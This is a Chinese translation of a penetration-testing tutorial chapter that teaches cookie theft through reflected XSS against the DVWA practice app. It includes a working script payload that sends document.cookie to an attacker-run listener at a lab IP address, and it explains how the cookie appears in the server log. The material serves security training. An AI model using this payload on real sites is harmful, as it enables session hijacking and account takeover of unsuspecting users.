翻译来自:掣雷小组
成员信息:
thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt,
这个公众号,一定要关注哦,慢慢会跟上面老哥们一起分享很多干货哦~~
标记红色的部分为今日更新内容。
第五章、使用跨站脚本攻击客户端
5.0、介绍
5.1、使用浏览器绕过客户端控制
5.2、识别跨站脚本漏洞
5.3、利用XSS获取Cookie
5.4、利用DOM XSS
5.5、利用BeEF执行xss攻击
5.6、从Web存储中提取信息
5.7、使用ZAP测试WebSokets
5.8、使用XSS和Metasploit获取远程shell
5.3、利用XSS获取Cookie
在前几章中,我们知道了攻击者可以使用cookie来冒充当前用户的身份,在上一章节我们也简单地引入了XSS的基本概念。如果目标站点存在XSS漏洞并且Cookie并没有开启http-only的话,那么它们二者将是Web安全的巨大隐患。
本章就带大家一起来学习如何使用XSS来获取用户的cookie。
实战演练
利用XSS攻击Cookie是一定需要一个服务器的,在这里例子中我们使用一个简单的python功能模块来代替服务器:
1、在Kali Linux的终端上运行以下命令来开启HTTP服务;
2、然后登陆DVWA,再转到XSS reflection下;
3、在文本框中输入以下内容:
Bob<script>document.write(‘<imgsrc=”http://192.168.56.10:88/’+document.cookie+’”>’);</script>
4、查看终端,你会发现出现以下信息;
注意:在GET后出现了用户的cookie信息!
原理剖析
在像XSS此类的攻击中,必须有用户的交互才能触发漏洞,那么这种情况下由于攻击者并不知道何时用户才会点击或者触发漏洞,所以攻击者必须有一个可以时刻监听payload是否被触发的服务器。
在上面的例子中,我们使用了Python中的SimpleHTTPServer模块来简单地替代服务器的功能,但是在稍微复杂的攻击环境下,这是不可取的。
在DVWA的XSS reflection页面下输入payload然后提交,浏览器就会加载payload从而执行其中的JavaScript代码,通过Kali Linux的88端口来请求一个以用户Cookie命名的图片,那么显然这个图片是不可能存在在Kali Linux上的,所以我们可以在上图中看到终端出现了404错误,紧跟着就打印出了错误日志,而错误日志就包含了用户的Cookie。
其他
在上面的案例中,我们使用了<script>标签来向页面中插入了JavaScript代码,但是这并不是HTML中唯一的可以插入JS代码的标签,其他用的标签像<video><audio>等也可用于构造用于XSS的JS代码。例如:
其他参考内容见:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet